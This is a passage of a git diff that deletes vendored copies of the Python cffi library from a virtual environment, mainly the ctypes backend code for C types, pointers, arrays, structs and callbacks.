ffi._parser._declarations[key] - BType = ffi._get_cached_btype(tp) - if BType.kind != 'array': - BType = model.pointer_cache(ffi, BType) - p = backendlib.load_function(BType, name) - addr_variables[name] = p - return addr_variables[name] - # - def accessor_constant(name): - raise NotImplementedError("non-integer constant '%s' cannot be " - "accessed from a dlopen() library" % (name,)) - # - def accessor_int_constant(name): - library.__dict__[name] = ffi._parser._int_constants[name] - # - accessors = {} - accessors_version = [False] - addr_variables = {} - # - def update_accessors(): - if accessors_version[0] is ffi._cdef_version: - return - # - for key, (tp, _) in ffi._parser._declarations.items(): - if not isinstance(tp, model.EnumType): - tag, name = key.split(' ', 1) - if tag == 'function': - accessors[name] = accessor_function - elif tag == 'variable': - accessors[name] = accessor_variable - elif tag == 'constant': - accessors[name] = accessor_constant - else: - for i, enumname in enumerate(tp.enumerators): - def accessor_enum(name, tp=tp, i=i): - tp.check_not_partial() - library.__dict__[name] = tp.enumvalues[i] - accessors[enumname] = accessor_enum - for name in ffi._parser._int_constants: - accessors.setdefault(name, accessor_int_constant) - accessors_version[0] = ffi._cdef_version - # - def make_accessor(name): - with ffi._lock: - if name in library.__dict__ or name in FFILibrary.__dict__: - return # added by another thread while waiting for the lock - if name not in accessors: - update_accessors() - if name not in accessors: - raise AttributeError(name) - accessors[name](name) - # - class FFILibrary: - def __getattr__(self, name): - make_accessor(name) - return getattr(self, name) - def __setattr__(self, name, value): - try: - property = getattr(self.__class__, name) - except AttributeError: - make_accessor(name) - setattr(self, name, value) - else: - property.__set__(self, value) - def __dir__(self): - with ffi._lock: - update_accessors() - return accessors.keys() - def __addressof__(self, name): - if name in library.__dict__: - return library.__dict__[name] - if name in FFILibrary.__dict__: - return addressof_var(name) - make_accessor(name) - if name in library.__dict__: - return library.__dict__[name] - if name in FFILibrary.__dict__: - return addressof_var(name) - raise AttributeError("cffi library has no function or " - "global variable named '%s'" % (name,)) - def __cffi_close__(self): - backendlib.close_lib() - self.__dict__.clear() - # - if isinstance(libname, basestring): - try: - if not isinstance(libname, str): # unicode, on Python 2 - libname = libname.encode('utf-8') - FFILibrary.__name__ = 'FFILibrary_%s' % libname - except UnicodeError: - pass - library = FFILibrary() - return library, library.__dict__ - -def _builtin_function_type(func): - # a hack to make at least ffi.typeof(builtin_function) work, - # if the builtin function was obtained by 'vengine_cpy'. - import sys - try: - module = sys.modules[func.__module__] - ffi = module._cffi_original_ffi - types_of_builtin_funcs = module._cffi_types_of_builtin_funcs - tp = types_of_builtin_funcs[func] - except (KeyError, AttributeError, TypeError): - return None - else: - with ffi._lock: - return ffi._get_cached_btype(tp) diff --git a/venv/Lib/site-packages/cffi/backend_ctypes.py b/venv/Lib/site-packages/cffi/backend_ctypes.py deleted file mode 100644 index 12cd16259dbebc5aab207c7e89c72105d5def9ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/backend_ctypes.py +++ /dev/null @@ -1,1120 +0,0 @@ -import ctypes, ctypes.util, operator, sys -from . import model - -if sys.version_info < (3,): - bytechr = chr -else: - unicode = str - long = int - xrange = range - bytechr = lambda num: bytes([num]) - -class CTypesType(type): - pass - -class CTypesData: - __metaclass__ = CTypesType - __slots__ = ['__weakref__'] - __name__ = '' - - def __init__(self, *args): - raise TypeError("cannot instantiate %r" % (self.__class__,)) - - @classmethod - def _newp(cls, init): - raise TypeError("expected a pointer or array ctype, got '%s'" - % (cls._get_c_name(),)) - - @staticmethod - def _to_ctypes(value): - raise TypeError - - @classmethod - def _arg_to_ctypes(cls, *value): - try: - ctype = cls._ctype - except AttributeError: - raise TypeError("cannot create an instance of %r" % (cls,)) - if value: - res = cls._to_ctypes(*value) - if not isinstance(res, ctype): - res = cls._ctype(res) - else: - res = cls._ctype() - return res - - @classmethod - def _create_ctype_obj(cls, init): - if init is None: - return cls._arg_to_ctypes() - else: - return cls._arg_to_ctypes(init) - - @staticmethod - def _from_ctypes(ctypes_value): - raise TypeError - - @classmethod - def _get_c_name(cls, replace_with=''): - return cls._reftypename.replace(' &', replace_with) - - @classmethod - def _fix_class(cls): - cls.__name__ = 'CData<%s>' % (cls._get_c_name(),) - cls.__qualname__ = 'CData<%s>' % (cls._get_c_name(),) - cls.__module__ = 'ffi' - - def _get_own_repr(self): - raise NotImplementedError - - def _addr_repr(self, address): - if address == 0: - return 'NULL' - else: - if address < 0: - address += 1 << (8*ctypes.sizeof(ctypes.c_void_p)) - return '0x%x' % address - - def __repr__(self, c_name=None): - own = self._get_own_repr() - return '' % (c_name or self._get_c_name(), own) - - def _convert_to_address(self, BClass): - if BClass is None: - raise TypeError("cannot convert %r to an address" % ( - self._get_c_name(),)) - else: - raise TypeError("cannot convert %r to %r" % ( - self._get_c_name(), BClass._get_c_name())) - - @classmethod - def _get_size(cls): - return ctypes.sizeof(cls._ctype) - - def _get_size_of_instance(self): - return ctypes.sizeof(self._ctype) - - @classmethod - def _cast_from(cls, source): - raise TypeError("cannot cast to %r" % (cls._get_c_name(),)) - - def _cast_to_integer(self): - return self._convert_to_address(None) - - @classmethod - def _alignment(cls): - return ctypes.alignment(cls._ctype) - - def __iter__(self): - raise TypeError("cdata %r does not support iteration" % ( - self._get_c_name()),) - - def _make_cmp(name): - cmpfunc = getattr(operator, name) - def cmp(self, other): - v_is_ptr = not isinstance(self, CTypesGenericPrimitive) - w_is_ptr = (isinstance(other, CTypesData) and - not isinstance(other, CTypesGenericPrimitive)) - if v_is_ptr and w_is_ptr: - return cmpfunc(self._convert_to_address(None), - other._convert_to_address(None)) - elif v_is_ptr or w_is_ptr: - return NotImplemented - else: - if isinstance(self, CTypesGenericPrimitive): - self = self._value - if isinstance(other, CTypesGenericPrimitive): - other = other._value - return cmpfunc(self, other) - cmp.func_name = name - return cmp - - __eq__ = _make_cmp('__eq__') - __ne__ = _make_cmp('__ne__') - __lt__ = _make_cmp('__lt__') - __le__ = _make_cmp('__le__') - __gt__ = _make_cmp('__gt__') - __ge__ = _make_cmp('__ge__') - - def __hash__(self): - return hash(self._convert_to_address(None)) - - def _to_string(self, maxlen): - raise TypeError("string(): %r" % (self,)) - - -class CTypesGenericPrimitive(CTypesData): - __slots__ = [] - - def __hash__(self): - return hash(self._value) - - def _get_own_repr(self): - return repr(self._from_ctypes(self._value)) - - -class CTypesGenericArray(CTypesData): - __slots__ = [] - - @classmethod - def _newp(cls, init): - return cls(init) - - def __iter__(self): - for i in xrange(len(self)): - yield self[i] - - def _get_own_repr(self): - return self._addr_repr(ctypes.addressof(self._blob)) - - -class CTypesGenericPtr(CTypesData): - __slots__ = ['_address', '_as_ctype_ptr'] - _automatic_casts = False - kind = "pointer" - - @classmethod - def _newp(cls, init): - return cls(init) - - @classmethod - def _cast_from(cls, source): - if source is None: - address = 0 - elif isinstance(source, CTypesData): - address = source._cast_to_integer() - elif isinstance(source, (int, long)): - address = source - else: - raise TypeError("bad type for cast to %r: %r" % - (cls, type(source).__name__)) - return cls._new_pointer_at(address) - - @classmethod - def _new_pointer_at(cls, address): - self = cls.__new__(cls) - self._address = address - self._as_ctype_ptr = ctypes.cast(address, cls._ctype) - return self - - def _get_own_repr(self): - try: - return self._addr_repr(self._address) - except AttributeError: - return '???' - - def _cast_to_integer(self): - return self._address - - def __nonzero__(self): - return bool(self._address) - __bool__ = __nonzero__ - - @classmethod - def _to_ctypes(cls, value): - if not isinstance(value, CTypesData): - raise TypeError("unexpected %s object" % type(value).__name__) - address = value._convert_to_address(cls) - return ctypes.cast(address, cls._ctype) - - @classmethod - def _from_ctypes(cls, ctypes_ptr): - address = ctypes.cast(ctypes_ptr, ctypes.c_void_p).value or 0 - return cls._new_pointer_at(address) - - @classmethod - def _initialize(cls, ctypes_ptr, value): - if value: - ctypes_ptr.contents = cls._to_ctypes(value).contents - - def _convert_to_address(self, BClass): - if (BClass in (self.__class__, None) or BClass._automatic_casts - or self._automatic_casts): - return self._address - else: - return CTypesData._convert_to_address(self, BClass) - - -class CTypesBaseStructOrUnion(CTypesData): - __slots__ = ['_blob'] - - @classmethod - def _create_ctype_obj(cls, init): - # may be overridden - raise TypeError("cannot instantiate opaque type %s" % (cls,)) - - def _get_own_repr(self): - return self._addr_repr(ctypes.addressof(self._blob)) - - @classmethod - def _offsetof(cls, fieldname): - return getattr(cls._ctype, fieldname).offset - - def _convert_to_address(self, BClass): - if getattr(BClass, '_BItem', None) is self.__class__: - return ctypes.addressof(self._blob) - else: - return CTypesData._convert_to_address(self, BClass) - - @classmethod - def _from_ctypes(cls, ctypes_struct_or_union): - self = cls.__new__(cls) - self._blob = ctypes_struct_or_union - return self - - @classmethod - def _to_ctypes(cls, value): - return value._blob - - def __repr__(self, c_name=None): - return CTypesData.__repr__(self, c_name or self._get_c_name(' &')) - - -class CTypesBackend: - - PRIMITIVE_TYPES = { - 'char': ctypes.c_char, - 'short': ctypes.c_short, - 'int': ctypes.c_int, - 'long': ctypes.c_long, - 'long long': ctypes.c_longlong, - 'signed char': ctypes.c_byte, - 'unsigned char': ctypes.c_ubyte, - 'unsigned short': ctypes.c_ushort, - 'unsigned int': ctypes.c_uint, - 'unsigned long': ctypes.c_ulong, - 'unsigned long long': ctypes.c_ulonglong, - 'float': ctypes.c_float, - 'double': ctypes.c_double, - '_Bool': ctypes.c_bool, - } - - for _name in ['unsigned long long', 'unsigned long', - 'unsigned int', 'unsigned short', 'unsigned char']: - _size = ctypes.sizeof(PRIMITIVE_TYPES[_name]) - PRIMITIVE_TYPES['uint%d_t' % (8*_size)] = PRIMITIVE_TYPES[_name] - if _size == ctypes.sizeof(ctypes.c_void_p): - PRIMITIVE_TYPES['uintptr_t'] = PRIMITIVE_TYPES[_name] - if _size == ctypes.sizeof(ctypes.c_size_t): - PRIMITIVE_TYPES['size_t'] = PRIMITIVE_TYPES[_name] - - for _name in ['long long', 'long', 'int', 'short', 'signed char']: - _size = ctypes.sizeof(PRIMITIVE_TYPES[_name]) - PRIMITIVE_TYPES['int%d_t' % (8*_size)] = PRIMITIVE_TYPES[_name] - if _size == ctypes.sizeof(ctypes.c_void_p): - PRIMITIVE_TYPES['intptr_t'] = PRIMITIVE_TYPES[_name] - PRIMITIVE_TYPES['ptrdiff_t'] = PRIMITIVE_TYPES[_name] - if _size == ctypes.sizeof(ctypes.c_size_t): - PRIMITIVE_TYPES['ssize_t'] = PRIMITIVE_TYPES[_name] - - - def __init__(self): - self.RTLD_LAZY = 0 # not supported anyway by ctypes - self.RTLD_NOW = 0 - self.RTLD_GLOBAL = ctypes.RTLD_GLOBAL - self.RTLD_LOCAL = ctypes.RTLD_LOCAL - - def set_ffi(self, ffi): - self.ffi = ffi - - def _get_types(self): - return CTypesData, CTypesType - - def load_library(self, path, flags=0): - cdll = ctypes.CDLL(path, flags) - return CTypesLibrary(self, cdll) - - def new_void_type(self): - class CTypesVoid(CTypesData): - __slots__ = [] - _reftypename = 'void &' - @staticmethod - def _from_ctypes(novalue): - return None - @staticmethod - def _to_ctypes(novalue): - if novalue is not None: - raise TypeError("None expected, got %s object" % - (type(novalue).__name__,)) - CTypesVoid._fix_class() - return CTypesVoid - - def new_primitive_type(self, name): - if name == 'wchar_t': - raise NotImplementedError(name) - ctype = self.PRIMITIVE_TYPES[name] - if name == 'char': - kind = 'char' - elif name in ('float', 'double'): - kind = 'float' - else: - if name in ('signed char', 'unsigned char'): - kind = 'byte' - elif name == '_Bool': - kind = 'bool' - else: - kind = 'int' - is_signed = (ctype(-1).value == -1) - # - def _cast_source_to_int(source): - if isinstance(source, (int, long, float)): - source = int(source) - elif isinstance(source, CTypesData): - source = source._cast_to_integer() - elif isinstance(source, bytes): - source = ord(source) - elif source is None: - source = 0 - else: - raise TypeError("bad type for cast to %r: %r" % - (CTypesPrimitive, type(source).__name__)) - return source - # - kind1 = kind - class CTypesPrimitive(CTypesGenericPrimitive): - __slots__ = ['_value'] - _ctype = ctype - _reftypename = '%s &' % name - kind = kind1 - - def __init__(self, value): - self._value = value - - @staticmethod - def _create_ctype_obj(init): - if init is None: - return ctype() - return ctype(CTypesPrimitive._to_ctypes(init)) - - if kind in {'int', 'byte'}: - @classmethod - def _cast_from(cls, source): - source = _cast_source_to_int(source) - source = ctype(source).value # cast within range - return cls(source) - def __int__(self): - return self._value - - if kind == 'bool': - @classmethod - def _cast_from(cls, source): - if not isinstance(source, (int, long, float)): - source = _cast_source_to_int(source) - return cls(bool(source)) - def __int__(self): - return int(self._value) - - if kind == 'char': - @classmethod - def _cast_from(cls, source): - source = _cast_source_to_int(source) - source = bytechr(source & 0xFF) - return cls(source) - def __int__(self): - return ord(self._value) - - if kind == 'float': - @classmethod - def _cast_from(cls, source): - if isinstance(source, float): - pass - elif isinstance(source, CTypesGenericPrimitive): - if hasattr(source, '__float__'): - source = float(source) - else: - source = int(source) - else: - source = _cast_source_to_int(source) - source = ctype(source).value # fix precision - return cls(source) - def __int__(self): - return int(self._value) - def __float__(self): - return self._value - - _cast_to_integer = __int__ - - if kind in {'int', 'byte', 'bool'}: - @staticmethod - def _to_ctypes(x): - if not isinstance(x, (int, long)): - if isinstance(x, CTypesData): - x = int(x) - else: - raise TypeError("integer expected, got %s" % - type(x).__name__) - if ctype(x).value != x: - if not is_signed and x < 0: - raise OverflowError("%s: negative integer" % name) - else: - raise OverflowError("%s: integer out of bounds" - % name) - return x - - if kind == 'char': - @staticmethod - def _to_ctypes(x): - if isinstance(x, bytes) and len(x) == 1: - return x - if isinstance(x, CTypesPrimitive): # > - return x._value - raise TypeError("character expected, got %s" % - type(x).__name__) - def __nonzero__(self): - return ord(self._value) != 0 - else: - def __nonzero__(self): - return self._value != 0 - __bool__ = __nonzero__ - - if kind == 'float': - @staticmethod - def _to_ctypes(x): - if not isinstance(x, (int, long, float, CTypesData)): - raise TypeError("float expected, got %s" % - type(x).__name__) - return ctype(x).value - - @staticmethod - def _from_ctypes(value): - return getattr(value, 'value', value) - - @staticmethod - def _initialize(blob, init): - blob.value = CTypesPrimitive._to_ctypes(init) - - if kind == 'char': - def _to_string(self, maxlen): - return self._value - if kind == 'byte': - def _to_string(self, maxlen): - return chr(self._value & 0xff) - # - CTypesPrimitive._fix_class() - return CTypesPrimitive - - def new_pointer_type(self, BItem): - getbtype = self.ffi._get_cached_btype - if BItem is getbtype(model.PrimitiveType('char')): - kind = 'charp' - elif BItem in (getbtype(model.PrimitiveType('signed char')), - getbtype(model.PrimitiveType('unsigned char'))): - kind = 'bytep' - elif BItem is getbtype(model.void_type): - kind = 'voidp' - else: - kind = 'generic' - # - class CTypesPtr(CTypesGenericPtr): - __slots__ = ['_own'] - if kind == 'charp': - __slots__ += ['__as_strbuf'] - _BItem = BItem - if hasattr(BItem, '_ctype'): - _ctype = ctypes.POINTER(BItem._ctype) - _bitem_size = ctypes.sizeof(BItem._ctype) - else: - _ctype = ctypes.c_void_p - if issubclass(BItem, CTypesGenericArray): - _reftypename = BItem._get_c_name('(* &)') - else: - _reftypename = BItem._get_c_name(' * &') - - def __init__(self, init): - ctypeobj = BItem._create_ctype_obj(init) - if kind == 'charp': - self.__as_strbuf = ctypes.create_string_buffer( - ctypeobj.value + b'\x00') - self._as_ctype_ptr = ctypes.cast( - self.__as_strbuf, self._ctype) - else: - self._as_ctype_ptr = ctypes.pointer(ctypeobj) - self._address = ctypes.cast(self._as_ctype_ptr, - ctypes.c_void_p).value - self._own = True - - def __add__(self, other): - if isinstance(other, (int, long)): - return self._new_pointer_at(self._address + - other * self._bitem_size) - else: - return NotImplemented - - def __sub__(self, other): - if isinstance(other, (int, long)): - return self._new_pointer_at(self._address - - other * self._bitem_size) - elif type(self) is type(other): - return (self._address - other._address) // self._bitem_size - else: - return NotImplemented - - def __getitem__(self, index): - if getattr(self, '_own', False) and index != 0: - raise IndexError - return BItem._from_ctypes(self._as_ctype_ptr[index]) - - def __setitem__(self, index, value): - self._as_ctype_ptr[index] = BItem._to_ctypes(value) - - if kind in {'charp', 'voidp'}: - @classmethod - def _arg_to_ctypes(cls, *value): - if value and isinstance(value[0], bytes): - return ctypes.c_char_p(value[0]) - else: - return super()._arg_to_ctypes(*value) - - if kind in {'charp', 'bytep'}: - def _to_string(self, maxlen): - if maxlen < 0: - maxlen = sys.maxsize - p = ctypes.cast(self._as_ctype_ptr, - ctypes.POINTER(ctypes.c_char)) - n = 0 - while n < maxlen and p[n] != b'\x00': - n += 1 - return b''.join([p[i] for i in range(n)]) - - def _get_own_repr(self): - if getattr(self, '_own', False): - return 'owning %d bytes' % ( - ctypes.sizeof(self._as_ctype_ptr.contents),) - return super()._get_own_repr() - # - if (BItem is self.ffi._get_cached_btype(model.void_type) or - BItem is self.ffi._get_cached_btype(model.PrimitiveType('char'))): - CTypesPtr._automatic_casts = True - # - CTypesPtr._fix_class() - return CTypesPtr - - def new_array_type(self, CTypesPtr, length): - if length is None: - brackets = ' &[]' - else: - brackets = ' &[%d]' % length - BItem = CTypesPtr._BItem - getbtype = self.ffi._get_cached_btype - if BItem is getbtype(model.PrimitiveType('char')): - kind = 'char' - elif BItem in (getbtype(model.PrimitiveType('signed char')), - getbtype(model.PrimitiveType('unsigned char'))): - kind = 'byte' - else: - kind = 'generic' - # - class CTypesArray(CTypesGenericArray): - __slots__ = ['_blob', '_own'] - if length is not None: - _ctype = BItem._ctype * length - else: - __slots__.append('_ctype') - _reftypename = BItem._get_c_name(brackets) - _declared_length = length - _CTPtr = CTypesPtr - - def __init__(self, init): - if length is None: - if isinstance(init, (int, long)): - len1 = init - init = None - elif kind == 'char' and isinstance(init, bytes): - len1 = len(init) + 1 # extra null - else: - init = tuple(init) - len1 = len(init) - self._ctype = BItem._ctype * len1 - self._blob = self._ctype() - self._own = True - if init is not None: - self._initialize(self._blob, init) - - @staticmethod - def _initialize(blob, init): - if isinstance(init, bytes): - init = [init[i:i+1] for i in range(len(init))] - else: - if isinstance(init, CTypesGenericArray): - if (len(init) != len(blob) or - not isinstance(init, CTypesArray)): - raise TypeError("length/type mismatch: %s" % (init,)) - init = tuple(init) - if len(init) > len(blob): - raise IndexError("too many initializers") - addr = ctypes.cast(blob, ctypes.c_void_p).value - PTR = ctypes.POINTER(BItem._ctype) - itemsize = ctypes.sizeof(BItem._ctype) - for i, value in enumerate(init): - p = ctypes.cast(addr + i * itemsize, PTR) - BItem._initialize(p.contents, value) - - def __len__(self): - return len(self._blob) - - def __getitem__(self, index): - if not (0 <= index < len(self._blob)): - raise IndexError - return BItem._from_ctypes(self._blob[index]) - - def __setitem__(self, index, value): - if not (0 <= index < len(self._blob)): - raise IndexError - self._blob[index] = BItem._to_ctypes(value) - - if kind in {'char', 'byte'}: - def _to_string(self, maxlen): - if maxlen < 0: - maxlen = len(self._blob) - p = ctypes.cast(self._blob, - ctypes.POINTER(ctypes.c_char)) - n = 0 - while n < maxlen and p[n] != b'\x00': - n += 1 - return b''.join([p[i] for i in range(n)]) - - def _get_own_repr(self): - if getattr(self, '_own', False): - return 'owning %d bytes' % (ctypes.sizeof(self._blob),) - return super()._get_own_repr() - - def _convert_to_address(self, BClass): - if BClass in (CTypesPtr, None) or BClass._automatic_casts: - return ctypes.addressof(self._blob) - else: - return CTypesData._convert_to_address(self, BClass) - - @staticmethod - def _from_ctypes(ctypes_array): - self = CTypesArray.__new__(CTypesArray) - self._blob = ctypes_array - return self - - @staticmethod - def _arg_to_ctypes(value): - return CTypesPtr._arg_to_ctypes(value) - - def __add__(self, other): - if isinstance(other, (int, long)): - return CTypesPtr._new_pointer_at( - ctypes.addressof(self._blob) + - other * ctypes.sizeof(BItem._ctype)) - else: - return NotImplemented - - @classmethod - def _cast_from(cls, source): - raise NotImplementedError("casting to %r" % ( - cls._get_c_name(),)) - # - CTypesArray._fix_class() - return CTypesArray - - def _new_struct_or_union(self, kind, name, base_ctypes_class): - # - class struct_or_union(base_ctypes_class): - pass - struct_or_union.__name__ = '%s_%s' % (kind, name) - kind1 = kind - # - class CTypesStructOrUnion(CTypesBaseStructOrUnion): - __slots__ = ['_blob'] - _ctype = struct_or_union - _reftypename = '%s &' % (name,) - _kind = kind = kind1 - # - CTypesStructOrUnion._fix_class() - return CTypesStructOrUnion - - def new_struct_type(self, name): - return self._new_struct_or_union('struct', name, ctypes.Structure) - - def new_union_type(self, name): - return self._new_struct_or_union('union', name, ctypes.Union) - - def complete_struct_or_union(self, CTypesStructOrUnion, fields, tp, - totalsize=-1, totalalignment=-1, sflags=0, - pack=0): - if totalsize >= 0 or totalalignment >= 0: - raise NotImplementedError("the ctypes backend of CFFI does not support " - "structures completed by verify(); please " - "compile and install the _cffi_backend module.") - struct_or_union = CTypesStructOrUnion._ctype - fnames = [fname for (fname, BField, bitsize) in fields] - btypes = [BField for (fname, BField, bitsize) in fields] - bitfields = [bitsize for (fname, BField, bitsize) in fields] - # - bfield_types = {} - cfields = [] - for (fname, BField, bitsize) in fields: - if bitsize < 0: - cfields.append((fname, BField._ctype)) - bfield_types[fname] = BField - else: - cfields.append((fname, BField._ctype, bitsize)) - bfield_types[fname] = Ellipsis - if sflags & 8: - struct_or_union._pack_ = 1 - elif pack: - struct_or_union._pack_ = pack - struct_or_union._fields_ = cfields - CTypesStructOrUnion._bfield_types = bfield_types - # - @staticmethod - def _create_ctype_obj(init): - result = struct_or_union() - if init is not None: - initialize(result, init) - return result - CTypesStructOrUnion._create_ctype_obj = _create_ctype_obj - # - def initialize(blob, init): - if is_union: - if len(init) > 1: - raise ValueError("union initializer: %d items given, but " - "only one supported (use a dict if needed)" - % (len(init),)) - if not isinstance(init, dict): - if isinstance(init, (bytes, unicode)): - raise TypeError("union initializer: got a str") - init = tuple(init) - if len(init) > len(fnames): - raise ValueError("too many values for %s initializer" % - CTypesStructOrUnion._get_c_name()) - init = dict(zip(fnames, init)) - addr = ctypes.addressof(blob) - for fname, value in init.items(): - BField, bitsize = name2fieldtype[fname] - assert bitsize < 0, \ - "not implemented: initializer with bit fields" - offset = CTypesStructOrUnion._offsetof(fname) - PTR = ctypes.POINTER(BField._ctype) - p = ctypes.cast(addr + offset, PTR) - BField._initialize(p.contents, value) - is_union = CTypesStructOrUnion._kind == 'union' - name2fieldtype = dict(zip(fnames, zip(btypes, bitfields))) - # - for fname, BField, bitsize in fields: - if fname == '': - raise NotImplementedError("nested anonymous structs/unions") - if hasattr(CTypesStructOrUnion, fname): - raise ValueError("the field name %r conflicts in " - "the ctypes backend" % fname) - if bitsize < 0: - def getter(self, fname=fname, BField=BField, - offset=CTypesStructOrUnion._offsetof(fname), - PTR=ctypes.POINTER(BField._ctype)): - addr = ctypes.addressof(self._blob) - p = ctypes.cast(addr + offset, PTR) - return BField._from_ctypes(p.contents) - def setter(self, value, fname=fname, BField=BField): - setattr(self._blob, fname, BField._to_ctypes(value)) - # - if issubclass(BField, CTypesGenericArray): - setter = None - if BField._declared_length == 0: - def getter(self, fname=fname, BFieldPtr=BField._CTPtr, - offset=CTypesStructOrUnion._offsetof(fname), - PTR=ctypes.POINTER(BField._ctype)): - addr = ctypes.addressof(self._blob) - p = ctypes.cast(addr + offset, PTR) - return BFieldPtr._from_ctypes(p) - # - else: - def getter(self, fname=fname, BField=BField): - return BField._from_ctypes(getattr(self._blob, fname)) - def setter(self, value, fname=fname, BField=BField): - # xxx obscure workaround - value = BField._to_ctypes(value) - oldvalue = getattr(self._blob, fname) - setattr(self._blob, fname, value) - if value != getattr(self._blob, fname): - setattr(self._blob, fname, oldvalue) - raise OverflowError("value too large for bitfield") - setattr(CTypesStructOrUnion, fname, property(getter, setter)) - # - CTypesPtr = self.ffi._get_cached_btype(model.PointerType(tp)) - for fname in fnames: - if hasattr(CTypesPtr, fname): - raise ValueError("the field name %r conflicts in " - "the ctypes backend" % fname) - def getter(self, fname=fname): - return getattr(self[0], fname) - def setter(self, value, fname=fname): - setattr(self[0], fname, value) - setattr(CTypesPtr, fname, property(getter, setter)) - - def new_function_type(self, BArgs, BResult, has_varargs): - nameargs = [BArg._get_c_name() for BArg in BArgs] - if has_varargs: - nameargs.append('...') - nameargs = ', '.join(nameargs) - # - class CTypesFunctionPtr(CTypesGenericPtr): - __slots__ = ['_own_callback', '_name'] - _ctype = ctypes.CFUNCTYPE(getattr(BResult, '_ctype', None), - *[BArg._ctype for BArg in BArgs], - use_errno=True) - _reftypename = BResult._get_c_name('(* &)(%s)' % (nameargs,)) - - def __init__(self, init, error=None): - # create a callback to the Python callable init() - import traceback - assert not has_varargs, "varargs not supported for callbacks" - if getattr(BResult, '_ctype', None) is not None: - error = BResult._from_ctypes( - BResult._create_ctype_obj(error)) - else: - error = None - def callback(*args): - args2 = [] - for arg, BArg in zip(args, BArgs): - args2.append(BArg._from_ctypes(arg)) - try: - res2 = init(*args2) - res2 = BResult._to_ctypes(res2) - except: - traceback.print_exc() - res2 = error - if issubclass(BResult, CTypesGenericPtr): - if res2: - res2 = ctypes.cast(res2, ctypes.c_void_p).value - # .value: http://bugs.python.org/issue1574593 - else: - res2 = None - #print repr(res2) - return res2 - if issubclass(BResult, CTypesGenericPtr): - # The only pointers callbacks can return are void*s: - # http://bugs.python.org/issue5710 - callback_ctype = ctypes.CFUNCTYPE( - ctypes.c_void_p, - *[BArg._ctype for BArg in BArgs], - use_errno=True) - else: - callback_ctype = CTypesFunctionPtr._ctype - self._as_ctype_ptr = callback_ctype(callback) - self._address = ctypes.cast(self._as_ctype_ptr, - ctypes.c_void_p).value - self._own_callback = init - - @staticmethod - def _initialize(ctypes_ptr, value): - if value: - raise NotImplementedError("ctypes backend: not supported: " - "initializers for function pointers") - - def __repr__(self): - c_name = getattr(self, '_name', None) - if c_name: - i = self._reftypename.index('(* &)') - if self._reftypename[i-1] not in ' )*': - c_name = ' ' + c_name - c_name = self._reftypename.replace('(* &)', c_name) - return CTypesData.__repr__(self, c_name) - - def _get_own_repr(self): - if getattr(self, '_own_callback', None) is not None: - return 'calling %r' % (self._own_callback,) - return super()._get_own_repr() - - def __call__(self, *args): - if has_varargs: - assert len(args) >= len(BArgs) - extraargs = args[len(BArgs):] - args = args[:len(BArgs)] - else: - assert len(args) == len(BArgs) - ctypes_args = [] - for arg, BArg in zip(args, BArgs): - ctypes_args.append(BArg._arg_to_ctypes(arg)) - if has_varargs: - for i, arg in enumerate(extraargs): - if arg is None: - ctypes_args.append(ctypes.c_void_p(0)) # NULL - continue - if not isinstance(arg, CTypesData): - raise TypeError( - "argument %d passed in the variadic part " - "needs to be a cdata object (got %s)" % - (1 + len(BArgs) + i, type(arg).__name__)) - ctypes_args.append(arg._arg_to_ctypes(arg)) - result = self._as_ctype_ptr(*ctypes_args) - return BResult._from_ctypes(result) - # - CTypesFunctionPtr._fix_class() - return CTypesFunctionPtr - - def new_enum_type(self, name, enumerators, enumvalues, CTypesInt): - assert isinstance(name, str) - reverse_mapping = dict(zip(reversed(enumvalues), - reversed(enumerators))) - # - class CTypesEnum(CTypesInt): - __slots__ = [] - _reftypename = '%s &' % name - - def _get_own_repr(self): - value = self._value - try: - return '%d: %s' % (value, reverse_mapping[value]) - except KeyError: - return str(value) - - def _to_string(self, maxlen): - value = self._value - try: - return reverse_mapping[value] - except KeyError: - return str(value) - # - CTypesEnum._fix_class() - return CTypesEnum - - def get_errno(self): - return ctypes.get_errno() - - def set_errno(self, value): - ctypes.set_errno(value) - - def string(self, b, maxlen=-1): - return b._to_string(maxlen) - - def buffer(self, bptr, size=-1): - raise NotImplementedError("buffer() with ctypes backend") - - def sizeof(self, cdata_or_BType): - if isinstance(cdata_or_BType, CTypesData): - return cdata_or_BType._get_size_of_instance() - else: - assert issubclass(cdata_or_BType, CTypesData) - return cdata_or_BType._get_size() - - def alignof(self, BType): - assert issubclass(BType, CTypesData) - return BType._alignment() - - def newp(self, BType, source): - if not issubclass(BType, CTypesData): - raise TypeError - return BType._newp(source) - - def cast(self, BType, source): - return BType._cast_from(source) - - def callback(self, BType, source, error, onerror): - assert onerror is None # XXX not implemented - return BType(source, error) - - _weakref_cache_ref = None - - def gcp(self, cdata, destructor, size=0): - if self._weakref_cache_ref is None: - import weakref - class MyRef(weakref.ref): - def __eq__(self, other): - myref = self() - return self is other or ( - myref is not None and myref is other()) - def __ne__(self, other): - return not (self == other) - def __hash__(self): - try: - return self._hash - except AttributeError: - self._hash = hash(self()) - return self._hash - self._weakref_cache_ref = {}, MyRef - weak_cache, MyRef = self._weakref_cache_ref - - if destructor is None: - try: - del weak_cache[MyRef(cdata)] - except KeyError: - raise TypeError("Can remove destructor only on a object " - "previously returned by ffi.gc()") - return None - - def remove(k): - cdata, destructor = weak_cache.pop(k, (None, None)) - if destructor is not None: - destructor(cdata) - - new_cdata = self.cast(self.typeof(cdata), cdata) - assert new_cdata is not cdata - weak_cache[MyRef(new_cdata, remove)] = (cdata, destructor) - return new_cdata - - typeof = type - - def getcname(self, BType, replace_with): - return BType._get_c_name(replace_with) - - def typeoffsetof(self, BType, fieldname, num=0): - if isinstance(fieldname, str): - if num == 0 and issubclass(BType, CTypesGenericPtr): - BType = BType._BItem - if not issubclass(BType, CTypesBaseStructOrUnion): - raise TypeError("expected a struct or union ctype") - BField = BType._bfield_types[fieldname] - if BField is Ellipsis: - raise TypeError("not supported for bitfields") - return (BField, BType._offsetof(fieldname)) - elif isinstance(fieldname, (int, long)): - if issubclass(BType, CTypesGenericArray): - BType = BType._CTPtr - if not issubclass(BType, CTypesGenericPtr): - raise TypeError("expected an array or ptr ctype") - BItem = BType._BItem - offset = BItem._get_size() * fieldname - if offset > sys.maxsize: - raise OverflowError - return (BItem, offset) - else: - raise TypeError(type(fieldname)) - - def rawaddressof(self, BTypePtr, cdata, offset=None): - if isinstance(cdata, CTypesBaseStructOrUnion): - ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata)) - elif isinstance(cdata, CTypesGenericPtr): - if offset is None or not issubclass(type(cdata)._BItem, - CTypesBaseStructOrUnion): - raise 